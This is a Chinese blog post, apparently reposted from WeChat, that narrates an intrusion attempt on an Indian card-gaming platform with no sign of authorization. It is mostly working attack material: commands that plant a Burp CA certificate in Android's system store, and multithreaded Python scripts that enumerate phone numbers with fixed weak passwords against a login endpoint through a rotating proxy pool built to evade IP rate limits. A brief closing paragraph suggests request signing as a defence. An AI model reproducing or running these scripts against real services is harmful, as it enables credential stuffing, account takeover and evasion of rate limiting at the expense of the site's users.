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用的xiaocms，阉割了前台的留言功能，导致无法实现后台csrf操作 -
可以暴力破解，但不知道用户名，被破解的概率很小 -
暂时没其他思路
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openssl x509 -inform DER -in burp.cer -out burp.pemopenssl x509 -inform burp.pem -subject_hash_old burp.pem将上面证书8位hash对pem进行重命名：burp.pem > 9a3b2a3e.0将9a3b2a3e.0推送到安卓系统证书根目录：adb push 9a3b2a3e.0 /system/etc/security/cacerts/adb shell chmod 644 /system/etc/security/cacerts/9a3b2a3e.0adb shell chgrp root /system/etc/security/cacerts/9a3b2a3e.0import requests
url = "https://aaaa.com/login/moblie"for num in range(999999): num_str = "{:06d}".format(num) mobile = f"919840{num_str}" data = {"mobile":mobile,"password":"abcd123456","ipInfo":{"status":"success"}} try: res = requests.post(url=url,json=data,timeout=5) print(mobile+","+res.text) except: print("request failed")nohup python3 mobile_brute.py > result.log 2>&1 &import requestsfrom concurrent.futures import ThreadPoolExecutorimport datetimedef brute(start,end):url = "https://target/user/login/mobile"for num in range(start,end):num_str = "{:06d}".format(num)mobile = f"919840{num_str}"data = {"mobileNo":mobile,"password":"a123456","ipInfo":{"status":"success"}}try:res = requests.post(url=url, json=data, proxies=proxies, timeout=10)print(mobile+","+res.text)except Exception as e:print(mobile+str(e))if __name__ == '__main__':startime = datetime.datetime.now()num = [{"start":1,"end":100000},{"start":100001,"end":200000},{"start":200001,"end":300000},{"start":300001,"end":400000},{"start":400001,"end":500000},{"start":500001,"end":600000},{"start":600001,"end":700000},{"start":700001,"end":800000},{"start":800001,"end":900000},{"start":900001,"end":999999}]with ThreadPoolExecutor(max_workers=10) as executor:for i in range(10):executor.submit(lambda cxp:brute(*cxp),(num[i].get('start'),num[i].get('end')))endtime = datetime.datetime.now()print(endtime-startime)
nohup python3 mobile_brute.py > result.log 2>&1 &
这显然有些不正常，拿了第一个success对应的手机号去APP里登录，919843558247，提示该手机号未注册。
代理的选择：调研了几家IP代理池商家，其中有几种代理模式：residential、datacenter、ISP，residential是私人家里的用的IP，datacenter是全球各地机房的IP。两种模式都有static和rotaing模式。对于我而言，能自动切换IP是最好的，所以选择了datacenter的rotaing模式，用的share共享代理池，性价比最高。
先尝试下能否动态切换IP代理
import requestsfrom concurrent.futures import ThreadPoolExecutorimport datetimedef brute(start,end):proxy_user = "*********"proxy_pass = "*****"proxies = {"http": f"http://{proxy_user}:{proxy_pass}@pr.****.com:16666",'https': f'http://{proxy_user}:{proxy_pass}@pr.****.com:16666'}url = "https://target.com/user/login/mobile"for num in range(start,end):num_str = "{:05d}".format(num)mobile = f"9198450{num_str}"data = {"mobileNo":mobile,"password":"a123456","ipInfo":{"status":"success"}}try:res = requests.post(url=url, json=data, proxies=proxies, timeout=10)text = mobile + "," + res.textprint(text)except Exception as e:timeout_mobile = mobile+",timeout"print(timeout_mobile+","+str(e))if __name__ == '__main__':startime = datetime.datetime.now()num = [{"start":1,"end":10000},{"start":10001,"end":20000},{"start":20001,"end":30000},{"start":30001,"end":40000},{"start":40001,"end":50000},{"start":50001,"end":60000},{"start":60001,"end":70000},{"start":70001,"end":80000},{"start":80001,"end":90000},{"start":90001,"end":99999}]with ThreadPoolExecutor(max_workers=4) as executor:for i in range(10):executor.submit(lambda cxp:brute(*cxp),(num[i].get('start'),num[i].get('end')))endtime = datetime.datetime.now()print(endtime-startime)
最后我想说的是，攻击和防御其实最重要的是投入产出比，过度投入成本防御并不一定好，ROI可能是负的。本次案例，我觉得对方做的策略就挺好，通过判断单个IP频繁请求来限制访问业务，攻击者就需要去买代理池，甚至为了提高产出率会加机器分布式去撞成本更高了。从甲方角度来说，这里其实可以做的更加安全一些，都不需要投入过多的投入成本，只需要对每个请求进行数字签名就ok，客户端加签逻辑代码、Hmac key做混淆，就需要攻击者花大量的时间成本去反编译客户端，有些加签功能还是通过加载.so动态进行的，要找到签名逻辑和密钥更加困难了。
原文始发于微信公众号（信息安全笔记）：渗透印度棋牌游戏平台
